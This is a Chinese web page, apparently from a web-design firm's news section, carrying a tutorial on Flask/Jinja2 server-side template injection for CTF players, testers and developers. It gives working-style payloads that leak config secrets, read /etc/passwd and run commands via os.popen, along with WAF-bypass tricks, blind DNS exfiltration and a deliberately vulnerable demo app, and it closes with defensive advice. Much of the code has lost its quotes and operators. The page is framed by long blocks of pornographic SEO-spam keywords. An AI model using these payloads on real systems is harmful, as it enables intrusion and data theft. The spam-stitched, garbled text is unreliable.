免费国产精品自在自线-91精品国产色综合久久久浪潮-99热久久免费频精品-国产精品国模在线观看-久久亚洲国产精品成人?V秋霞-久久国产一级A片免费播放-亚洲国产欧洲综合97久久-久久国产白嫩美女呻吟高潮

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御 第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽說過變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見payload、過濾繞過和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過程的失控說起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒有任何問題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見過很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁面源碼存在數(shù)據(jù)庫里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過模板引擎渲染。如果誰能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說明表達(dá)式被執(zhí)行。第三種是注釋或者無意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁面還是原樣返回{{7*7}}并不代表沒有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語法。模板里最常見的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過類找父類最后到達(dá)object或者某個(gè)工具類然后通過__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒被隱藏頁面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來最短方便嵌套和拼接。問題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來{% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說明基礎(chǔ)探測(cè){{7*7}}返回49則說明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過濾與繞過實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見過濾規(guī)則前文說的都是沒有過濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來最常見的過濾類型大概有五種過濾關(guān)鍵字比如__class__、popen、os、過濾特殊字符_、[、]、單雙引號(hào)、過濾數(shù)字、過濾{{ }}以及過濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問上都依賴[]和雙下劃線。第三種常見于需要傳數(shù)字索引的payload可以通過模板自身的解析技巧繞過。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒有注入點(diǎn)了但很多時(shí)候它們的過濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過組合先說過濾[]。不管是__getitem__還是模板自帶的attr過濾器都能替代中括號(hào)下標(biāo)訪問。例如.__class__如果被過濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過濾可以用十六進(jìn)制編碼、Unicode編碼或者通過\x5f拼接繞過。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來\x5f就是下劃線字符。不過要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問這一步恰好能繞過很多簡(jiǎn)單的詞法過濾。4.3 無回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說了這么多不如直接在本地把環(huán)境搭起來從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來以后訪問/?name{{7*7}}頁面返回Hello, 49!說明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問/?name{{config}}頁面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁面會(huì)輸出一大串類列表。復(fù)制下來搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過的坑不少總結(jié)幾個(gè)高頻問題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來訪問。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過濾器或者用.__builtins__直接訪問屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見問題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來訪問命令執(zhí)行失敗但探測(cè)成功被過濾了或目標(biāo)類無權(quán)限考慮盲打、繞過、或者換用文件讀取頁面返回500Payload語法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語法沒有問題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來說寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來說先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
无码动漫av| wWw色五月| 99热色精品| 婷婷五月18永久免费网站| 99热97| 五月伊人91| 亚洲综合色丁香五月天| 一区无码| 大香蕉久| 日本激情五月| 五月天天综合| 欧美成人精品三区综合A片| 婷婷深爱色五月| 午夜少妇在线观看视频| 思思久久精品| 色播丁香| 婷婷丁香六月天激情四射网| 深夜男女福利刺激影院一区完整| 六月丁香综合999| A短视频免费在线观看| 亭亭五月天黑人2014| 91碰九色| 色色激情| 国产色色视频| 五月久久噜噜| 任你操精品免费| 五月婷婷综合网| 99精品视频在线免费观看| 99re热视频这里只精品| 免费看欧美成人A片无码| 成人午夜无码视频| 丁香五月 性爱| www.色婷婷| 欧美性爱五月天| 青草视频在线观看视频| 国产成人高清| 丁香五月冃欧美| 国产精品国产| 成人五月丁香花| 激情av在线| 五月色亭丁香| 久久婷婷内射| 超碰2021| 九九色精品| 婷婷精品性性性性性性性| 激情图片婷婷丁香五月| 91狠狠色丁香婷婷综合久久狠丁香综合久久精品 | 8区视频在线| 91精品国产综合久久久不卡电影| 久久久8| 日日夜夜爽爽| 婷婷五月天av网| 色色97丁香婷婷五月天| 色综合久| 亚洲啪视频| 激情五月婷婷色综合| 91操屁股| 97久久综合网| 激情99| 裸体美女丁香五月天。| 激情五月婷婷综合视频| 99这里是99在线视频| www.色色com| 大香蕉久久| 丁香五月婷婷AV在线| 五月丁香怕怕综合| 热99这里只是精品| 一起草无码| 精品少妇人妻AV无码专区偷人| 欧美性猛交99久久久99| 日本狠狠网| ss五月天激情| 九九热a| 久久久九九九 99| 大地9中文在线观看免费高清| 五月丁香六月婷| 色婷婷五月天成人网| 99在线资源| 欧美色必爱| 色五月五月婷婷| 色婷婷久久综合中文久久一本| 亚州激情在线视频| 久久狠狠欧美| 无码se| 亚洲AV免费国产电影| 成人丁香婷婷| 超级碰碰97在线| 一起草Av| 婷婷丁香在线| AV在线观看网站| 婷婷五月综合激情免费| 另类五月激情| 99热精品中文字幕| 色婷婷www| 秋霞电影理论| 六月婷婷七月丁香| 婷婷精品在线| 亚洲、热| 99免费视频网| 这里只有精品在线视频在线观看| 五月婷婷综合在线视频小说| 六月 丁香 视频| 婷婷五月天深爱| 婷婷激情五月天综合| 99riAV国产精品视频| 超碰99热在线观看| 五月婷婷日本| 丁香婷色| 日本三级大片| 亚洲色爽| 五月丁香六月婷婷免费| 色婷綜合网| 色色色视频免费无码| 亚洲色综合| 超碰在线视屏| 色色热99| 丁香婷婷免费| 丁香五月六月欧美| 日韩欧美一级大黄网站| 夜夜爱网站| 骚。com| 青青福利网| 亚洲欧洲自拍图片专区五月天| 色欲婷婷夜夜| 婷婷五月天论坛| 五月永久激情| 色导航色婷婷五月天在线观看| 99在这里有精品| 天堂AV在线看| 婷婷五月天激情小说| 热99在线| 超碰在线人妻| 欧美性猛交 XXXX 乱大交| 婷婷伊人| 丁香九月激情在线视频| 久久Xx| 婷婷五月花| 91精品国产91久久久久青草| 国产伦亲子伦亲子视频观看| 亚洲99热| 免费国产视频| 色99亚洲| 丁香婷婷激情网站| 亚洲六月婷婷| 精品无码久久久久久久久| 乱精品一区字幕二区| 91久女| 婷婷五月激情综合网| 99热色综合| 亚洲第一av| 国产免费AV在线| 性爱综合网| 久久在线视频只有这里有精品| 激情五月天综合图片小说网站| 久热这里精品免费| 国产毛片精品一区二区色欲黄A片| 久草a片| 丁香五月日韩| 性按摩玩人妻HD中文字幕| 操逼电影免费看| 日韩无码91| 亚洲无码成人| 五月丁香亭亭天天舔| 日本五月婷婷| 久综合网| 婷婷色色丁香| 亚洲性图一区二区三区| 天天搞天天爽| 中文幕无线码中文字蜜桃| 婷婷亚州综合| 亚州欧美国产久精国产99综合视频| 这里只有国产精品在线| 久久久激情视频| 亚洲精品99| 婷婷五月天亚洲综合网| a网站免费观看| 色婷婷狠狠久久综合五月| 丁香五月激情五月| 人人色人人弄人人操| 国产亚洲色婷婷久久99精品9j| 久久婷婷亚洲| 色激情综合| 激情五月六月婷婷综合啪啪| 久久伦乱| 九久九精品| 久久久久亚洲AV成人无码电影| 热的国产,热的综合,热的有码| 亚洲欧美一区二区三区爱爱动图 | 丁香激情网| 牛牛色av| 色播五月丁香婷婷| 综合啪啪| 一操久久| 日韩色色视频www| 久综合色| 五月天丁香欧美激情| 精品视频这里只有精品| 超碰93在线观看| 中文成人在线| 武则天精品久久| 99热这里有精品2| 色综合色五月| 色婷婷性爱| 丁香五月AV综合| 亚洲国产精品VA在线看黑人| 黄色网址五月婷婷| 99热这里只有精品亚洲| 成片免费播放| 97干在线观看| 真实亲子乱子伦高清在线观看| 97福利视频| 99热费观看| 丁香五月停停av| 久久五月丁香| 五月婷婷激情网| 伊人五月天在线| 国产午夜精品一区二区三区嫩草| 俺来也综合网精品一区| 亚洲精品国产成人AV在线| 日本在线wwww| www激情com| 97高清国语自产拍| 丁香五月在线视频| 这里只有精品视频免费在线观看| 久久婷婷五月丁香网| 99爱在线视频观看| 伊人九九68| 人人操Av| 天天综合精品| 久久久久久久久久久久久久人妻视频| 日本色五月| 九九人人自拍| 六月婷婷色色色| 欲色人妻| 99免费在线| 91中文狠狠综合| 深爱激情中文五月天av| 色屌丝中文字幕| 色综合久久99色| 五月天啪啪啪| 2013AV天堂| 欧洲第一久色| 超爽内射| 天天激情欧美美女| 99久久久久久久| 这里只有精品网站| 在线综合91| 26uuu欧美激情另类| 狠狠精品干练久久久无码中文字幕| 丁香婷婷久久| 九月丁香婷婷| 激情丰满熟妇五月| 在线看九一V图片| 婷婷区日本| 色色丁香| 五月丁香六月婷婷色| 开心五月深爱五月| 婷婷夜夜夜夜| 色婷婷激情视频| 5月婷婷激情网| 五月天天综合网色婷婷| 丁香六月婷婷色XXXXX| 亚洲天堂玖玖| 婷婷五月综合社区| 亚洲精品乱码久久久久久按摩观| 能看的av| 色爱终和网| 日本三级99人妇网站| 五月天色婷婷基地| 97ai婷婷| 九月婷婷久久久| 婷婷五月丁香综合| 中国丰满熟女A片免费观| aaaaaa片| BlACKEDRAW视频一区二区| 思思热99在线| 色综合色色色色| 成人永久免费视频在线观看| 好好干Av| se色婷婷视频| 狠狠搞狠狠操| 婷婷色色五月| 婷婷色色综合| 开心五月婷婷| 天天插天天插天天日| 激情小说五月天| 色亚洲色宗合| 婷婷自拍| 99色在线视频| 九九热精品99| 夜丁香综合| 丁香五月大香蕉AV| 婷婷六月天| 午夜性爱影视一区77| avh片在线观看| 99在线免费观看| 久99久视频| 婷婷中文字幕| www.五月丁香| 黄色aaaaa| 性色做爰片在线观看WW| 这里只有精彩视频| 好吊操这里只有精品| 《亚洲操B久久免费在线观看,亚洲操B久久在线播放》在线播放 - 高清资源 - 97 | 99热最新精品| 91人人妻人人操人人爽| 亚洲超碰在线| 狠色色狠网| 99re久热只有精品6在线直播.com| 91丨九色丨东北熟女| 亚洲婷婷五月草久| 久久99精品日本| 丁香九月激情| 五月丁香在线| 五月色欧美| 亚洲超级碰| 五月天激情综合网| 婷婷婷婷婷婷婷婷| 五月婷婷久久开心网| 大香蕉久久久久久久久| 六月色婷婷| 99精吕视频在线观看了| 婷婷丁香五月天欧美| 久久久九九九 99| 